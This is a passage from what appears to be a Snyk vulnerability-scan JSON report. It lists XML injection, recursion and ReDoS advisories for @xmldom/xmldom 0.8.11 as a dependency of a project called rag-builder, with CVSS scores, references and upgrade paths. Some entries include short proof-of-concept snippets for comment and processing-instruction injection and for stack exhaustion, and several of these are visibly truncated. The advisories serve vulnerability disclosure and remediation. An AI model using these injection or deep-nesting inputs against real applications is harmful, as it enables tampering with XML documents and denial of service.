"packageManager": "npm",
"publicationTime": "2026-04-01T10:58:08.232619Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:13:47.103287Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16133132",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"Jvr2022",
"TharVid"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/987",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-09T14:05:50.228256Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:31.719771Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:31.719771Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-09T14:05:50.228256Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like `-->`). An attacker can input `-->` to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the `--> `is treated as \"live\" XML markup by the serializer rather than harmless comment text.\n## PoC\n```\r\nconst { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');\r\n\r\nconst doc = new DOMImplementation().createDocument(null, 'root', null);\r\n\r\ndoc.documentElement.appendChild(\r\n doc.createComment('-->\r\n\r\nconst reparsed = new DOMParser().parseFromString(xml, 'text/xml');\r\nconsole.log(reparsed.documentElement.childNodes.item(1).nodeName);\r\n// injected\r\n```\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/987)\n",
"epssDetails": {
"percentile": "0.48934",
"probability": "0.00650",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41672"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-j759-j44w-7fr8"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T08:45:11.218179Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-17T21:00:00Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T08:45:11.445847Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:31.719771Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16134530",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Jvr2022",
"praveen-kv",
"KarimTantawey"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-09T14:05:50.779778Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:31.641683Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:31.641683Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-09T14:05:50.779778Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including `normalize`, `serializeToString`, `getElementsByTagName`, `getElementsByTagNameNS`, `getElementsByClassName`, `getElementById`, `cloneNode`, `importNode`, `textContent`, and `isEqualNode`. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.\n## PoC\n```\r\nconst { DOMParser, XMLSerializer } = require('@xmldom/xmldom');\r\n\r\nconst depth = 5000;\r\nconst xml = ''.repeat(depth) + ''.repeat(depth);\r\nconst doc = new DOMParser().parseFromString(xml, 'text/xml');\r\nnew XMLSerializer().serializeToString(doc);\r\n// RangeError: Maximum call stack size exceeded\r\n```\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.13)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.10)\n",
"epssDetails": {
"percentile": "0.57369",
"probability": "0.00882",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41673"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-2v35-w6hq-6mfw"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T10:25:04.797294Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-22T20:23:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T10:25:05.004748Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:31.641683Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16134549",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"TharVid"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-f6ww-3ggp-fr8h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/372008f9ae0e20fd69f761c7b79e202598267314",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-16T17:44:34.194722Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:30.786994Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:30.786994Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-16T17:44:34.194722Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection in the serialization of `DocumentType` nodes when attacker-controlled values are provided to the `publicId`, `systemId`, or `internalSubset` fields. An attacker can inject arbitrary XML markup into the serialized output by supplying specially crafted input to these fields, potentially leading to the injection of malicious DOCTYPE declarations or markup outside the intended context.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if untrusted data is passed programmatically to `createDocumentType` or written directly to the relevant properties and then serialized without enabling strict validation.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by passing the option `{ requireWellFormed: true }` to `XMLSerializer.serializeToString()` to enforce validation of the affected fields.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-f6ww-3ggp-fr8h)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/372008f9ae0e20fd69f761c7b79e202598267314)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.13)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.10)\n",
"epssDetails": {
"percentile": "0.48934",
"probability": "0.00650",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41674"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-f6ww-3ggp-fr8h"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T10:45:07.349679Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-22T20:19:12Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T10:45:07.541457Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:30.786994Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16134552",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"tlsbollei",
"TharVid"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x6wf-f3px-wcqx",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/7207a4b0e0bcc228868075ed991665ef9f73b1c2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-09T14:07:29.272228Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:30.863664Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:30.863664Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-09T14:07:29.272228Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `createProcessingInstruction` function. An attacker can inject arbitrary XML nodes into the serialized output by supplying specially crafted data containing the PI-closing sequence, which is not validated or neutralized during serialization. This can alter the structure and meaning of generated XML documents, potentially impacting workflows that store, forward, sign, or parse XML.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the serialization is performed without passing the `{ requireWellFormed: true }` option.\n## PoC\n```\r\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\r\n\r\nconst doc = new DOMImplementation().createDocument(null, 'r', null);\r\ndoc.documentElement.appendChild(\r\n doc.createProcessingInstruction('a', '?>\r\n// ^^^^ injected element is active markup\r\n```\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-x6wf-f3px-wcqx)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/7207a4b0e0bcc228868075ed991665ef9f73b1c2)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.13)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.10)\n",
"epssDetails": {
"percentile": "0.48075",
"probability": "0.00633",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41675"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-x6wf-f3px-wcqx"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T10:48:23.320683Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-22T20:17:58Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T10:48:23.532587Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:30.863664Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19498556",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
"<0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/57aec90ac57b4408ae7c5d1746bf2a693b5ed90e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/85f12eb4d14b44de33216cfb72b50af4d24e9fdd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.1,
"modificationTime": "2026-09-03T07:56:32.437300Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:23:59.865511Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:23:59.865511Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:56:32.437300Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via improper validation of the `name` property in the DocumentType node when `requireWellFormed` is set to true. An attacker can inject arbitrary markup into the output by supplying a crafted value to the `name` property, potentially leading to the injection of sibling elements or manipulation of the document structure.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/57aec90ac57b4408ae7c5d1746bf2a693b5ed90e)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/85f12eb4d14b44de33216cfb72b50af4d24e9fdd)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.46991",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83608"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-27p8-2357-5qqv"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:15:37.574840Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:02:07.252000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:15:37.769617Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:23:59.865511Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@xmldom/xmldom",
"version": "0.8.11",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19498558",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x4fp-j954-r2f4",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/3abb0934f5a8a84d83a1f9cde0f2bd04c08b2a09",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-03T07:56:22.571528Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:08.702831Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:08.702831Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:56:22.571528Z"
}
],
